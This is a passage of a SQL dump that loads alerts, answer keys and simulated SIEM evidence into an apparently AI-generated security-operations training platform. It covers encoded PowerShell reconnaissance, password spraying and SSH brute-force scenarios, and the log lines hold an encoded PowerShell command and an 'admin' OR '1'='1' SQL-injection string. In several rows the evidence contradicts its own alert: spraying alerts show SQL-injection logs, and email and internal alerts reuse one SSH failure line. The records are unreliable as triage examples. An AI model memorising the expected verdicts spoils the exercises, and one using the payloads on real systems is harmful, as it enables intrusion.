(1647, 'Encoded PowerShell Command Used in Reconnaissance', 'high', 'Velociraptor', 'A PowerShell command with encoded content was executed, potentially part of a reconnaissance phase before an attack.', 'Malware', 'T1082', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:35:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.190\",\"dst_ip\":\"\",\"username\":\"network_admin\",\"hostname\":\"control-server\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command used for system reconnaissance.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.190\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the control server.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command indicates potential reconnaissance activity, with intentions for further attacks.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.861Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:35:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.190\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"control-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -enc JABkAGUAdABlAGMAdAAgAC0AcwB5AHMAdABlAG0A\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1648, 'Password Spraying Detected Against Internal Web Portal', 'high', 'Splunk', 'Multiple failed login attempts detected from an external IP, indicating a potential password spraying attack targeting the internal web portal.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:25:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"web-portal\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Recognized internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has a history of brute force attempts, and multiple failed login attempts indicate a likely password spraying attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.866Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:25:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1649, 'SSH Brute Force Spike Detected', 'critical', 'Elastic SIEM', 'A significant increase in failed SSH login attempts from an unusual IP address suggests a brute force attack on the network.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:13:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"ssh-server\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common administrative account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP\'s history of brute force activity, coupled with the spike in failed attempts, confirms an attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.872Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:13:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1650, 'Potential Password Spraying on External Email Service', 'medium', 'Azure Sentinel', 'A number of failed login attempts to the external email service from a specific IP suggests possible password spraying activity.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:45:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.2.15\",\"username\":\"user1\",\"hostname\":\"email-server\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for suspicious login activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed logins from a known suspicious IP indicate a likely password spraying attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.874Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"email-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1651, 'False Positive SSH Login Attempt Detected', 'low', 'Wazuh', 'A series of failed SSH login attempts from an internal IP were detected but identified as a false positive due to a misconfigured script.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:30:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.200\",\"dst_ip\":\"192.168.1.5\",\"username\":\"testuser\",\"hostname\":\"ssh-server\"}', '2026-03-15 19:36:10', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Test user account used for script operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was traced back to a test script running within the internal network, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.877Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:30:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.200\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"ssh-server\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1652, 'Password Spraying Detected Against Internal Web Portal', 'high', 'Splunk', 'Multiple failed login attempts from a foreign IP address targeting an internal web portal. Possible password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T02:45:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.100\",\"username\":\"jdoe\",\"hostname\":\"webportal01\",\"failed_attempts\":35}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target web portal\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP has been associated with multiple brute force attacks, confirming this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:57:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:56:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:55:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:54:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
